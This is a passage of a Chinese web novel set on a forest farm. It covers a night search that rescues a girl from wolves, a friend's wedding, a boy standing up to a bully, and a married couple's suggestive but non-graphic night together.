“试啥试?晚上回家插电试。”确定真能用,刘卫国就把电池抠了,问祁放:“多少钱?”
“不用,送你当结婚礼物。”
“那不行。”刘卫国立马又把收音机放回去了,“亲兄弟还得明算账呢。”
结婚随个礼才两块钱,一个收音机可不止二十块了。
县百货商店一个这么大的收音机得要一百多,还不好买。
刘卫国坚持,祁放也就报了个价,“那你给我四十。”
“能够得上吗?你可别赔钱给我。”
“够得上。”祁放凑这一台收音机的价格也就是四十。
54 救人
这都快天黑了,刘春彩竟然还没回来?
严雪想也没想就去拿手电筒,“我跟你一起去找。”与祁放骨节分明的大手碰了个正着。
男人动作毫不迟疑,见她伸手,又改为去拿放在另一边的电池,“和她一起去的人回来了吗?”
严雪总觉得他说话声音有点怪,像是一边牙疼似的。
但现在也顾不上那么多了,刘卫国也已经道:“不知道,我妈过去问了,我来你家碰碰运气。”
说着祁放和严雪已经换上了更便于行动的鞋子,和二老太太打个招呼,跟着刘卫国出去了。
出门没多远正碰上黄凤英,身后还有个和她差不多年纪的中年女人,脸上同样有急色。
严雪一看便心知不好,果然黄凤英道:“王秀霞也还没回来,她家里正找呢。”
这下事情大了,谁知道两个小姑娘在山上是不是遇到了什么意外?
虽说大人都再三嘱咐了不能走远,万一孩子胆大呢?近山也不是就没有一点危险了。
“林场附近都已经找过了吗?”祁放问黄凤英和刘卫国。
“都找过了。”黄凤英说,“连附近河套、树林都找过了。”
她后面跟着的应该是王秀霞妈妈,“秀霞几个同学家里也找过了,都说没看着。这俩死孩子到底跑哪儿去了?”
“那进山吧,回去带上你家那两杆猎/木仓。”祁放看向了刘卫国。
严雪也转身就走,“我去找郎书记,让他从保卫科叫几个人。”
晚上的山林可没白天那么安全,很多野兽都是昼伏夜出,晚上出来捕猎的。
郎书记一听说林场两个孩子丢了,立马召集了保卫科几个人。
刘家那边,刘老爷子、刘大牛、刘卫国全出动了,还特地又借了两把枪,给刘卫国和祁放背着。
刘家两条狗也牵上了,一行十几个人分成数队,一边喊着两个人的名字,一边往打听到的大致方位找。
大声喊名字,一来方便两个人听到,做出回应;二来也能惊走部分野兽,何况他们还都拿着手电筒。
眼见着天色从擦黑变成全黑,严雪和祁放这一队才听到一个带着哭腔的回应,“我、我在这儿!”
两人赶忙赶过去,正好碰到从另一边赶过来的刘卫国和周文慧,两支手电筒一照,照出个和刘春彩差不多大的姑娘。
王秀霞穿着长衣长裤,身上还背着个背筐,已经哭得眼都肿了。
刘卫国找了半天,也没找到另一个人,急忙问:“春彩呢?”
“不、不知道。”王秀霞一张口,差点让刘卫国骂出声。
眼见这姑娘吓得不轻,严雪赶忙上前安抚,“没事,你慢慢说,你跟春彩是在哪分开的?”
周文慧也过去捡起她掉在地上的东西,帮她装回背筐里。
同为女性的安抚多少让王秀霞心绪平复了点,人多也让她感到了安心,“下午我俩就分开了,约好了采完在这附近集合,结果我在这等了她挺长时间,也没见她回来。我又去找她,天都黑了也没找着。”
说着说着又忍不住开始哭,被严雪递了块手帕,“那你记得她当时是往哪个方向走了吗?”
“记、记得。”王秀霞也顾不上擦,抬眼借着手电筒的光线仔细看了看,指向一个方向。
祁放立即拿起挂在脖子上的哨子,用力吹了几声,提醒王秀霞的家长她已经找到了。
很快林子的另一边传来回应,严雪也就跟王秀霞说:“你爸妈都上山来找你了,很快就到,你在这等一会儿好吗?”
王秀霞立马紧抓住她的手,“我、我害怕!”显然是不想让他们走。
没办法,四人只好再度兵分两路,刘卫国和周文慧继续找,严雪和祁放则暂时留下来,陪王秀霞等到家人来接。
等王家人又是训又是后怕把王秀霞带走了,严雪和祁放才拿好手电筒背好枪,继续往王秀霞所指的方向搜寻。
两人听着刘卫国和周文慧的喊声,选择了另外一边,路上严雪还在说:“注意一下地上有没有木耳和筐。”
刘春彩颇有几分黄凤英的直爽,是不像妹妹刘春妮那么乖巧懂事,但不是没有分寸的孩子。又是本地人,常在附近几座山上跑,对地形应该也熟悉,到现在还没回来,只能是碰上了什么事。
祁放也知道,“嗯”一声,手电筒一直在周遭来回地扫。
就在这时,远处林子里突然传来一声长长的狼嚎。
严雪和祁放对视一眼,眼里都有着凝重,“希望不是春彩。”
“春彩应该会爬树。”祁放语气倒还算镇定。
狼不是猫科动物,不会爬树,遇到了实在躲不过,可以暂时爬到树上去。
但他脚步同样加快了,尤其是又行出一段路,看到地上那个明显被踩过的陷阱后。
严雪也往下看了看,“好像是用来打野猪的。”
夏日里雨水大,陷阱周边土地湿滑,祁放下意识拉了一下她,“小心。”
不过两人已经发现了边缘处明显滑下去的脚印,还有散落在地上的木耳。
手电筒往陷阱周边一扫,又发现了另一处脚印。这回就要凌乱多了,有大有小,还有向外延伸。
“应该是有人掉了下去,又被救了上来。”祁放快速分析。
两人一秒钟都没耽误,又顺着脚印的方向继续找,越找,离发出狼嚎的方向就越近,脸色也越凝重。
再靠近,祁放甚至在唇前竖起一根手指,侧侧耳朵,示意严雪细听。
严雪也已经听到了不远处清脆的喝骂声,“走开你们这群臭狼!你们还能上树咋的!”
不多会儿又是带了点哭腔的指责,“你不认识路吗?带着我乱跑,都跑到狼窝里来了!”
是刘春彩,而且在场最少还有一个人,只是没太听到声音。
正常在野外碰到狼群,是不应该大声喊叫或者直视狼的眼睛的,会被狼视为挑衅,激起狼的凶性。
但现在他们是要救人,也顾不上那么多了,谁知道那边情况到底怎么样。
祁放当即吹响了哨子,严雪也用手在嘴边做成喇叭,“春彩——我和你哥他们来找你了——你先别慌——待在树上别动——”
“严雪姐!是严雪姐吗?”刘春彩惊喜道,简直要喜极而泣了。
但不多会儿她又喊:“严雪姐你别过来!这边有狼!”
都什么时候了,还有心思提醒别人。
严雪也不知道是该气还是该笑,正好刘卫国那边也传来哨响,离得并不算远,她干脆直接问:“你那边有几只?”
“七八只吧。”刘春彩也不太确定,顿了顿又道:“七只!”
还好现在是夏季,食物并不算紧缺,狼群也通常不大,这要是在冬天,可就麻烦了。
几句话间,已经有幽绿出现在了前方的山林,是狼群派出成员来查看情况了。
祁放并没有贸然动手,激怒对方,而是关上手电筒,拉着严雪躲到了一棵树后。
狼群一般也不会攻击有遮蔽物的动物,但这两只狼在附近打了半天转,竟然没有要走的意思。
祁放只能将严雪往上一托,“你先上去。”等严雪翻身上了树,才退后几步拉栓上膛,朝天上开了一枪。
狼群尤其是小型狼群,在非极端情况下,即严重饥饿或是家园被毁,碰到有人带着枪,是不会选择攻击的。
果然两只狼一听,立马分散逃跑,边逃还边发出呜呜的嚎叫。
但那边围着刘春彩的几只显然并没有走,倒是刘卫国带着周文慧先来了。
刘卫国爷爷就是老猎人,也清楚狼的习性,一听便道:“咱们人多,过去朝天上开两枪,应该就吓跑了。”
几人匆匆赶过去,果然看到一群约七八只狼围在一棵树下。树上则挂着两个人,一个显然是刘春彩,靠上,另一个应该是个男人,离得太远看不清面容。
“春彩你再坚持一会儿,我们这就把狼吓走!”
刘卫国朝妹妹喊了声,正要开/木仓,刘春彩也正要应好,身下坐着的树枝突然发出“咯吱”。
她下意识抱住树干,却已经来不及了,不堪重负的树枝直接带着她往下坠去。
“小心!”这边几人赶忙提醒。
挂在她下面那人也赶忙伸出手想拉她,拉是拉住了,对方却也跟着从树上翻了下来。
那一刻,饶是祁放已经及时向天空发了一枪,狼群还是跟闻到血腥味的鲨鱼一样,全都扑了上去。
眼见那男人把刘春彩一推,自己则暴露在狼口之下,祁放只来得及提醒刘卫国:“头狼别杀!”立即调整角度朝一只冲得最前的狼开了第二枪。
惊险时刻,刘卫国的子弹本是冲着头狼的要害去的,经他提醒,又赶忙偏了一些。
“砰”“砰”两声木仓响,伴随着两声惨嚎,两只狼全都倒地失去了战斗力。
但好在头狼没死,狼群不会不顾一切选择复仇,最终受伤的头狼发出一声长啸,带着狼群四散而逃。
祁放和刘卫国几人赶忙跑过去,却没有先查看刘春彩的情况,而是提枪警戒着四周。
另一只狼受伤严重,显然也不是狼群的重要同伴,被狼群丢下了,两人还在上面又补了一木仓。
等确定确实安全之后,刘卫国才赶紧去看两个人,“你们咋样?有没有哪儿受伤?”
祁放也朝身后扫了一眼,然后差点愣在那,“怎么又是你?”
和刘春彩一起那男人遍身狼狈,衣服、裤子全都刮破了,身上也沾了不少泥。但中等个头,短寸,相貌周正只是眼睛有点小,竟然是上个月才就此别过的齐放。
齐放应该已经知道了来的是他们,但看到他,还是露出些尴尬。
祁放立马去看严雪,发现严雪也看到了对方,却没顾得上,而是轻轻撩起刘春彩的裤腿。
小姑娘裤腿上明显有血迹,撩开后,腿上好几道狰狞的划痕,脚踝也明显肿了。
刘卫国立马问:“这是咋弄的?”
上个树可不能划成这样,被狼咬也不是这种伤口。
刘春彩一听,立马扁着嘴瞪向齐放,“还不是他们林场挖的陷阱,连个记号都不做!我没注意,一脚踩进去了。”
见刘卫国望过来,齐放更加尴尬,脸都憋红了,“其实我做了,前几天雨太大,冲没了。”
说完似乎觉得自己这是在推卸责任,又赶忙道歉,“对不起,我今天已经把记号都给补上了。”
山上那么大,陷阱那么分散,没有记号连本人都不好找,他竟然还来补记号……
刘卫国有点无语,但想想要不是他来补记号,和春彩也不一定能遇到,又问:“是你把春彩从陷阱里拉出来的?”
齐放挠挠头,还没说话,那边刘春彩已经愤声道:“然后他就把我带这狼窝里来了!”
这下齐放脸更红,也不敢再说话了,更不敢去看严雪和祁放。
刘春彩还是气不过,“还有你一个小金川林场的,跑金川来挖啥陷阱?你是不是不认识路?”
齐放还真不是很认识路,不然之前也不能被严雪和祁放遇上,甚至找到这个陷阱都不知道费了多少劲。
好在这时候刘老爷子和刘大牛他们也赶过来了,见人已找到,也没什么大事,终于放下了心。
当然一顿骂是免不了的,回去这一路刘春彩趴在自家亲哥背上,是爸爸训完哥哥训,哥哥训完爷爷训,就连未来嫂子周文慧也忍不住劝了她几句。
这让她又觉得委屈,又不敢顶嘴,视线扫到跟在后面的罪魁祸首,忍不住又瞪去一眼。
等一群人回到林场,已经月上中天,林场只供应到九点的电早都停了。
几人下了小火车道往家里走,祁放正要提出告辞,回头就看到齐放也跟了过来,一顿。
刘春彩也看到了,“你不回小金川,跟过来干嘛?”
不管怎么说,人家在关键时刻还是保护了她的,刘卫国拍了拍妹妹。
但齐放还是被说得尴尬不已,“那个,我就是想问一下医药费多少钱,我包给你。”
谁也没想到他一声不响跟了半天,居然是要说这个,尤其是刘春彩。
小姑娘哼了声,“谁用你赔了。”头一扭,转到另一边去了。
刘卫国也道:“你别听她说得凶,她就这脾气。今天要不是你,她还在陷阱里待着呢。”
而且刘春彩在陷阱里就受了伤,能爬上那棵树,估计还是齐放把她推上去的。
刘家不是那不讲理的人家,刘大牛还问齐放:“这么晚了,你一个人也不安全,上俺家住一宿吧。”
齐放哪好意思,“不用,我沿着小火车道走回去就行。”
“这么晚了还回去干啥?”听到动静匆匆赶过来的黄凤英也道。
家里还有孩子,黄凤英并没有跟着爷孙几个上山,一直在家焦急地等待着。
眼见齐放还要推拒,严雪正准备开口,旁边一直没做声的男人突然道:“你就别回去了。”
她有些意外,齐放更是惊讶,毕竟两人上次闹得其实挺不愉快的。
但一码归一码,别说他今天还救了刘春彩,就算没有,祁放也不可能叫他大晚上冒着危险回去。
祁放看看对方,“你要是不想去刘家,我帮你问问郎书记能不能让你去招待所住。”
倒把齐放弄不好意思了,“不用。”最终还是被刘家人连拉带劝带去了家里。
刘家人跟所有人都道了一圈谢,才往回走,路上黄凤英还问齐放:“同志你贵姓?”
“我姓齐。”齐放说完,想起什么,又赶忙补充,“齐齐整整那个齐。”
严雪听着,不禁看了祁放一眼,“你今天怎么这么大度,还帮着刘大娘劝人?”
祁放表情淡淡的,“咱家没有地方。”
听得严雪没忍住一乐,“他就算不去刘家,也不可能来咱们家啊。”
“那可不一定。”祁放低哼一声,语气并算不得好。
严雪听着,眉眼还是弯了起来,声音也软软的,“行行,你说得都对。”
回到家的时候二老太太显然还没睡,听到门响,立即穿鞋迎了出来,“咋样了?人找到了没有?”
“已经找到了。”严雪先说了结果安老太太的心,然后才一面往里走一面说了大致经过。
一听说山上还有狼,老太太一脸后怕,“找到了就好,找到了就好,以后你和小祁上山也得注意点。”
严雪满口应下,等老太太关心完了,才问:“继刚睡了吗?”
“睡了,他一个小孩子,哪熬得住。”老太太指指自己那屋,“就知道你们得晚回来,我让他在我这屋睡的。”
祁放上好门栓进来,刚好听到这一句,“那别折腾他,再把人弄醒了。”
严雪也是这个意思,没想到这男人今天嘴比她快,忍不住回头看了一眼。
55 洞房
上次修手表那事,也就严雪、祁放、刘卫国和几个知青知道。
严雪和祁放都不是多话的人,几个知青自觉丢人,也不会往外说,只有一个刘卫国藏不住话,还怕牵连到周文慧。
所以这事到现在也没几个人知道,刚买了祁放收音机那个人自然不清楚这两边其实是有过节的。
听张国刚问,他还有些纳闷,“咋了?你俩认识?”
何止认识,他还给刘卫国和周文慧当过搅屎棍,结果人家现在马上就要结婚了……
张国刚有点牙疼,刘卫国倒是“噗”一下乐了,“认识认识,我媳妇儿跟他一个知青队的。”
这句我媳妇儿叫得那叫一个亲热,那叫一个理直气壮,那叫一个扬眉吐气。
来人不疑有他,“那更好,你俩自己说,省得我还得搁中间传话。”
刘卫国立马笑望向张国刚,“你想要个啥样儿的?”
这要是江得宝,肯定当场翻脸了,可张国刚又不是江得宝,周文慧也没被家里介绍给他。
这么想着,刘卫国那张笑嘻嘻的脸好像又没那么讨厌了,张国刚干脆道:“要个比电匣子小一点,方便拎,台又没那么少的。”
来都来了,要就这么走了,倒显得他多输不起似的。
但张国刚还是又忍不住刺了一句:“你认识那人能装吧?”
“能装能装。”刘卫国头点得好像自己能装一样,“你等我跟他问一下价,回头跟你说。”
明明正主就在旁边,非要再拐一个弯,防备心还挺重。
张国刚怎么看,怎么觉得对方还是让自己喜欢不起来,就好像天生气场不和,哼一声走了。
刘卫国立马跑去问祁放:“咋样?他说那种能装吧?”
“能,三管的,放两节电池,你问问他用不用插电源。”
“好嘞,我一定帮你多跟他要点。”
刘卫国硬是拖到了晚上,才去问张国刚,价格也没少要,五十。
虽然也比商店里便宜很多,但祁放给他那个更大,才四十,想想他都觉得自己赚大了。
不过这个装完,祁放凑那些配件也用得差不多了,跟刘卫国说了声,让他暂时不用再帮自己拉生意。
那五十块祁放也拿回去交给了严雪,严雪数了数,“你这个月没少往家里拿钱啊。”
“嗯。”祁放应得云淡风轻,又云淡风轻问她:“不想要?”
“有钱拿谁不想要?”严雪现实得很,才不会故意装视金钱如粪土。
上辈子她家要是有钱,她和爸爸哪会吃那么多苦?
这辈子她要是有钱,也不会为了给自己和弟弟搏条活路,这么小就把自己嫁了。
虽然从结果来说,这个人嫁得还算值当。
没想到没过两天,张国刚就拎着收音机来找祁放修了,进门时表情并不怎么好。
乍一看他那脸色,严雪还以为祁放装的收音机出了什么问题,被消费者找上门了。
再一想又不对,别人不相信祁放的实力,她可是看过原书的。而原书中常青重工最为人称道的就是产品质量,不仅在国内占有大量市场份额,还远销国外。
祁放对自己装的东西也很有数,先问了句:“怎么弄的?”
张国刚一听,脸色更差了,“江得宝大晚上发疯,摔的。”
“江得宝大晚上发疯?”严雪实在有些不可置信。
别说江得宝和张国刚同为知青,之前也玩得还算好,就算玩得不好,这么值钱的东西他也敢乱摔?
张国刚一提起这个就来气,“谁知道他在外面惹到谁了,被人套麻袋揍了一顿,回来就发疯,看啥啥不顺眼。我那收音机听完没收,半夜他起来被绊了下,拎起来就给我摔了。”
那可能江得宝确实气疯了,半夜太黑又看不清楚,都没弄清是什么已经摔了。
就是这个套麻袋揍他的人,严雪怎么有点猜测呢?
她忍不住看向祁放,发现祁放淡定得很,只神色如常去拿来了工具箱。
张国刚也知道这事不能怪人家东西质量不好,“你给我看看是哪的毛病,该修修,该换换,我照常给钱。”
别管之前修手表那事是不是干得缺德,他家条件是真好,做起事来也是真不差钱。
人家话都撂在这了,祁放也就仔细检查了一下,发现没什么太大的问题,就是电池那里接触不好,电源线坏了。
这还真不能怪他,坏的是买来的电源线,又不是他焊的部分,张国刚更没话说了。
祁放帮张国刚把安电池那里紧了紧,又把断了的电源线接上,一共收了张国刚三毛。
张国刚试了试没有问题,这才脸色稍霁,拎上收音机走了。
人一走,严雪就冲祁放眨了眨眼睛,“套麻袋这事,该不会是刘卫国干的吧?”
祁放正在收拾工具,闻言头也没抬,“你可以把‘吧’去掉。”
“还真是他干的啊。”严雪笑起来,“他不是上回没揍够,一直憋着呢吧?”
“差不多。”
毕竟江得宝说话太难听了,不仅威胁婚后要折腾周文慧,还对周文慧手不老实。
这要是换在严雪身上,揍他一顿都是便宜了他。反正祁放自认为没有那么好的气性,能让江得宝养几天就能照常出门。
以前刘卫国不敢动手,还怕有个万一,周文慧真落到江得宝手里,这些账都会算到周文慧头上,现在可不怕了。
也是江得宝自己倒霉,半夜被收音机电源线绊了,不仅又磕到了受伤的地方,还一怒之下摔了张国刚的收音机。
赔不赔钱都还在其次,张国刚可不是啥好脾气的人,更不会顾什么面子,看他那次直接怼江得宝调戏女同志是啥光荣事儿就知道了。
果然接下来几天,江得宝明显被小团体排挤了,张国刚再干什么都不带他,还在刘卫国和周文慧结婚那天跑去看了热闹。
谁不知道差一点周文慧要嫁的就是江得宝了,他们一群人去给周文慧和另一个人的婚礼做气氛组,简直是故意气人。
偏偏江得宝还拿他们一点办法都没有,本来他就不是这个小团体的核心,张国刚和杨涛才是,拼条件他也拼不过他们。
不过江得宝如何,刘卫国人打完了,也就顾不上了,满心都只有娶他心爱的姑娘回家。
感情这东西,轻易到手的总显平淡,反而越多波折,越多坎坷,越让人觉得难得。
本来两个人处对象,只是对彼此有些好感罢了,一起经历过这许多,反而真的生出些非彼此不可的意思。
当天早上起来,刘卫国那嘴角就没下来过,过去接亲的时候,更是站在镜子前连照了三四遍,生怕自己有哪里不够英俊。
严雪当时就拉了祁放一把,让他别跟着去了,就算跟着去,也尽可能离得远一点。
接亲的地方定在了知青宿舍,几个女知青全成了娘家人,帮着周文慧堵门,反倒是周文慧真正的娘家只来了一个周母和一个弟弟。
周父心里不痛快,面都没露,只让周母给周文慧捎了一句话,让她路是自己选的,以后要饭也别回娘家要。
周文慧也是被父亲凉了心,同样让母亲回去带句话,她是周父一棵参卖给刘家的,以后周家跟她没关系。
没想到弟弟正要背着她出去,刘卫国上来把她给背了起来。
周文慧当时就愣了,继而脸通红,“你怎么自己背?”
刘卫国咧开嘴笑,“你不知道,我这也是跟祁放学的。”
周围人本就在起哄,听他说起祁放更是一阵笑,“就没见过像你俩这样,结个婚猴急猴急的!”
刘卫国当时便回了过去,“你不猴急,当初还怕我们闹洞房把我们都撵出去!”
这下众人笑得更欢,笑声中还夹杂着几声看热闹不嫌事大的口哨。
祁放和严雪在本地都没什么亲人,当初结婚只摆了一桌,刘卫国就不一样了,姥姥舅舅的一大堆。
加上刘家是林场成立起就在林场的老人了,朋友也多,仗着老爷子会打猎,不缺菜,干脆在院子里摆了四桌。
严雪和祁放被安排去那桌全是刘家自己家亲戚,刘卫国还特地嘱咐了众人祁放不能喝酒,显然是没把两人当外人。
不过刘卫国和周文慧过来敬酒的时候,祁放还是喝了一点,很给面子地朝两人举杯,“恭喜。”
严雪也拿起了自己面前的杯子,还没开口,刘卫国已经先摆起了手,“你可千万别,这我要是干了,晚上就不用洞房了。”被周文慧悄悄踩了一脚。
严雪也让他说得一阵好笑,“那我可不敢,我少喝点,你也意思意思行了。”
又朝周文慧也示意了一下,“祝你们白头偕老,早生贵子。”
“一定的一定的。”刘卫国满口应下,还保证,“向你们家祁放看齐,争取今年就有,两年抱仨。”又被周文慧踩了一脚。
听到这句熟悉的今年就有两年抱仨,严雪也顿了下,敏感地察觉到身旁的男人桃花眼朝自己看了看。
那眼神可太有深意了,怕她不懂似的,等她放下酒杯,男人还给她夹了一筷子菜,“卫国动作挺快。”
严雪低头吃菜,没接话。
男人紧接着就夹了第二筷子,“咱俩结婚前他们认识的,这才半年。”
但严雪总觉得他想说的其实是——“这都半年了。”
严雪不容易心虚的,可刘卫国这种自由恋爱的都结婚了,还在名义上有了娃,她还是给男人也夹了一筷子菜。
当时男人看看碗里的菜,再看看她,眼神更深。
严雪这才注意到自己夹什么不好,夹了一筷子爆炒的腰花,赶忙又夹回来,塞自己嘴里吃了。
刘家来的亲戚多,人手足够,不需要人留下帮忙收拾,喝过喜酒,严雪跟祁放就随其他人一起告辞了。
刘卫国和周文慧亲自出来送的,还压低声音跟两人说,“中午人多,也没喝好,晚上咱们几个年轻的单独再聚。”
祁放其实不好喝酒,也不爱凑热闹,严雪本来以为他会推拒,没想到他竟然一口答应了。
刘卫国显见地十分高兴,“那晚上你们直接来我新房,他们岁数大的都在我爸妈那。”
刘家那老房实在没什么地方了,为了给刘卫国结婚,干脆另外选址给他盖了两间。选的地方离严雪和祁放家也不远,今天这顿喜酒就是在新房办的。
两人出来,外面开席时放的鞭炮还没有扫,铺了满街喜庆,几个男孩子正在纸屑中寻找没有燃放的炮仗。
刘卫斌个淘气的,竟然把严继刚也带出来了,小哥俩眼睛一个瞪得比一个大。
难得严继刚有玩伴,也难得他愿意出来玩,严雪并不想打扰,拽拽祁放就准备悄悄回去。
没想到刚要走,那边严继刚发现了什么,眼睛一亮,“这、这里有!”
刚要去捡,另一个头发黄黄的孩子已经冲上去捡跑了,还回头冲他吐舌头,“慢、慢、慢死了,小结巴。”
严雪当时便顿住了脚步,眼有点沉。
她最担心的事情还是发生了,即使换了环境,依旧会有人笑话严继刚口吃。
并不是每一个人都懂得尊重他人,有的孩子甚至不是出于恶意,只是觉得好玩才跟着学,依旧会带给继刚伤害。
但眼再沉,严雪还是没急着动,甚至抬臂拦了一下旁边的祁放。
她想看看换了环境,不再过得那么紧张,又有了奶奶、姐姐和姐夫的疼爱,继刚胆子会不会大点。
听到又有人学自己说话,又有人叫自己小结巴,严继刚果然脸一白,唇紧紧抿在了一起。
严雪了解他,甚至注意到他两只手不自觉搅在了一起,紧张地开始抠手指。
但抠了两下,他竟然开口了,“谁、谁说我结、结巴?我、我这是方言。”
虽然声音不算大,可那一刻严雪还是不知道是该感动,还是该笑。
刘卫斌整天方言长方言短,竟然让继刚给学会了。
抢炮仗那男孩听了,也是一懵,“谁家方言是这么说的?”
“我、我家方言就、就是这么说的!”严继刚没有抬头,声音却更大了,说着还用力点了下头。
刘卫斌也从另一边跑了过来,“我作证,他们那边的方言就是这么说的!”
对方还是不信,“谁家方言是结巴着说的?他就是小结巴,略略略略小结巴!”
“你不信,我找我哥和他姐夫跟你说!”刘卫斌嗓门比他还大,说着已经开始喊:“哥!祁放哥!你们快出来!”
今天刘卫国结婚,那院里刘卫斌的哥可多了,不多会儿就出来了好几个,祁放也站到了严继刚身后。
这年代孩子多,家长管不过来,又没个什么娱乐,相互之间打个架是常有的事,打输了回去叫自家亲哥也是常有的事。
但一下子来了这么多哥和姐夫就不常有了,那男孩也不知道是吓的还是噎的,一张嘴竟然打了个嗝。
他这一打嗝,严继刚反而没那么紧张了。
而且姐夫就站在他身后呢,他也看到姐姐了,得像姐姐说的,做个男子汉。
严继刚努力把小胸脯挺了挺,“我、我这就是方言,你不、不知道,是你没、没见识!”
说完又忍不住往严雪那边瞄,见严雪给了他一个鼓励的眼神,三分底气立马壮成了七分。
相比之下,对面那男孩就没什么底气了,跟他一起玩的几个也不怎么敢吭声,毕竟这边人实在太多了。
最终有人拽了拽那男孩,“走吧,咱们上别的地方玩儿去。”
男孩面上显然还很不服气,但什么都没说被拉走了。
人一走,严继刚就好像一人面对一大群哥哥姐夫的是他一样,松了一大口气。
严雪看着好笑,走过来看看他手里都快被捏变形的炮仗,“捡了几个?”
“一、一个。”严继刚不好意思地摊开了小手。
“我捡到两个!”刘卫斌可不像他那么腼腆,立马开始献宝。
“是吗?你们真厉害。”严雪先笑盈盈都夸了一遍,才问弟弟:“明天姐姐再给你买一挂,你跟卫斌一起玩怎么样?”
“真的?”刘卫斌眼睛先亮了。
这可不是什么时候都能玩到的,家里也只有过年才会给他买两挂小鞭,让他拆了一个一个放。
倒是严继刚露出些犹豫,被严雪在头上揉了揉,“没事,奖励给我们勇敢的继刚的。”
这下严继刚没忍住笑了,还去看刘卫斌,“我分、分你一半。”
刚说完,头就被自家姐夫也摸了下,“姐夫也给你买一挂。”
夫妻俩没打扰孩子玩,说了两句就走了,一路上,严雪唇角始终轻轻翘着。
她皮肤白,唇色却不淡,粉润润的,总让人想去抹一下,看是不是涂了什么东西。
祁放是这么想的,也在进家门后这么做了,拇指指腹擦过她下唇,还在那丰润处揉了揉。
56 狼牙
朦胧的光线,半密闭的空间,都增加了暧昧的滋生。
严雪觉得这一次比哪一次都升温得更快,像躲在衬衫下交换一个只有两人知道的秘密,缠绵,火热,还带着点独有的禁忌。
这一次,祁放也比哪一次都亲得更凶,更具攻击性,不多会儿严雪就被逼到了炕边,跌坐下去。
男人却没有要放开她的意思,一手撑住炕沿,倾身与她交缠得更深。
严雪感觉他像是要把自己吃了,只能靠双手支撑,才能勉强不倒下去,呼吸更是完全乱了节奏。
她觉得自己快要喘不上气,还有些无力吞咽,甚至不自觉发出了几声娇软的闷哼。
这让她下意识想要后退,男人大手却掌住了她的后脑,让她无路可退,最终手臂一软,躺倒在了被褥间。
严雪第一件事就是去掀开那件衬衫,努力呼吸,入眼的却是一张不再冷淡的俊脸,和一双染上欲色的桃花眼。
再往下,锁骨上一点清晰的殷红,是她好奇了许久却初次得见真容的那颗痣。
严雪下意识便伸手摸过去,却不知道她此刻面颊酡红,眼神迷离,唇瓣上还残留有暧昧的水痕,又何尝不是一幅可餐的秀色。
祁放眼神愈深,几乎就在她手指触上的同时单膝跪上炕沿,俯身下去与她交换了又一个湿吻。
这次灼热一路向下,停留过脖颈,蜿蜒过锁骨,最后甚至埋进了她的领口。
严雪为了参加婚礼专门穿的布拉吉都被撩开,裙摆花朵般绽放在被褥间,遮住了更多旖旎……
赶在男人长指扣上皮带前,她只来得及说了一句,“你先关灯!”就迎来了黑暗,和一具火热的躯体。
而那刚抚过冰冷皮带扣的长指也转移阵地,一路寻向更温暖的所在,带出几声娇喘和低吟。
饶是如此做足了准备,严雪还是狠狠在男人锁骨上咬了一口,就咬在那颗小痣周边。
祁放其实也不好受,相比之下锁骨上那点疼都不算什么了,最后只能隐忍着先抽身,又细细安抚了一番。
等一切结束,已经是不知多久后。
严雪满身湿汗,雪肤还泛着微红,轻喘着趴在被褥间,脑海里只有一个念头——
这该死的体型差!
祁放同样一身是汗,却比她神清气爽,还能出去打水给她擦身,去柜子里拿干净的褥单。
拿完见她小脚趾还蜷着,他伸手过来,帮她揉了揉。
严雪立马就想到了那句“回去我帮你揉”。
但她之前绷得确实有点紧了,此刻骤然放松,从小腿到脚尖都有些不舒服,见他力道适中,就没吭声。
没想到捏了几下,男人动作却停了。
不过他的手始终没松,就烫烫握在她脚踝上,让她忍不住睁开眼,疑惑望去,“怎么了?”
男人抬起眼,只是把刚找出来的褥单向外挪了挪,“反正也得换。”
严雪都没反应过来什么叫反正也得换,人就被骤然俯身抱了起来。
最终那条褥单换得很值,就是换得太值了,让严雪忍不住踹了男人一脚,“明天早上你自己去洗。”
祁放“嗯”了声,什么都没多说,收拾好准备再来吻一下她。
这回严雪却怎么也不肯让他吻了,手抵着他的唇,“你克制点,别下回去抓中药被号出肾虚。”
祁放本来也没有其他意思,听她提到肾虚,桃花眼反而深了深。
严雪立马想到了这男人的记仇,还有那该死的自尊心,“行行你不虚,我怕我下回去被医生看出虚行了吧?”
她不由打了个哈欠,“也不知道现在几点了,万一明天起不来……”
没有万一,她就是起不来。不仅她,连祁放早上一睁眼,天都已经亮了。
察觉到窗帘外透进来的光线,祁放看了下表,竟然已经六点多。
这对近年来的他来说极为少见,他总是浅眠,睡不深也睡不长,有时候明明很累,但就是清醒地知道自己睡不着。
可手表的滴答,枕边人的呼吸,都在提醒着他这一切是真的,提醒他有些东西不一样了。
严雪还在睡,纤长的睫毛秀美的五官,不管睡着还是醒着,含笑或者沉静,总有种让人安心的味道。
祁放没有打扰她,悄悄起身穿上衣服,拿了换下来的褥单和衬衫、布拉吉准备去河边洗。
拉锁开门,正和轻手轻脚从对面出来的二老太太碰了个正着。
老太太是过来人,一看立马把身后的严继刚推了回去,“你再回去躺会儿,你姐姐昨天喝多了。”
严继刚不明白姐姐喝多了,干嘛让他回去再躺一会儿,但还是乖乖爬回了炕上。
老太太又假模假样找起了东西,“镜子让我放哪了?岁数大了记性不好,连照照衣裳穿没穿好都找不着。”
祁放一听便明白了,退回去拿起墙上挂着的镜子看了看。
衬衫下严雪留下的齿痕明显,印在他冷白的肌肤上,像个宣誓主权的印章。
这谁看了不知道他俩昨天晚上干了什么,他本以为已经消了,没想到竟然还在,只能将扣子扣到最上。
至于眉眼间残存那一点餍足,祁放是真没办法遮,只能保持面上的冷淡。
这回再出门,二老太太已经回去了,显然是给他留出了空间,他也就端上盆和肥皂去了河边。
回来的时候正碰上刘卫国出来开院门,边开还边在打哈欠,一看就也折腾到很晚。
见到他,刘卫国还瞪大眼睛仔细看了看,“祁放你大早上干啥去了?一脸春风的,比我还像新郎官。”
那他眼睛还挺毒。
祁放看看好友,什么都没说。
刘卫国却又想起什么,“对了,最近太忙我都忘了给你,你等我回去拿一下。”转身进了院。
不多会儿重新回来,一摊手,手上几颗狼牙,“上回那只狼的,我爷已经把孔打好了,将来给孩子戴着辟邪。”
上回主要是为了救人,血腥又最容易招野兽,刘老爷子只拔了狼的四颗犬齿,就回来了。
如今这四颗犬齿都已处理好,就在刘卫国手上,祁放看了看,“两颗就行。”
“都给你吧。”刘卫国直接往他口袋里一塞,“我家不缺这个,你不是要两年抱仨吗?说不定以后还不够。”
说着嘿嘿一笑,朝他摆摆手回去了,“我得去看看我媳妇儿。”
祁放回到家,把洗好的褥单和衣服晾上,才拿出那几颗狼牙问二老太太:“有红绳吗?”
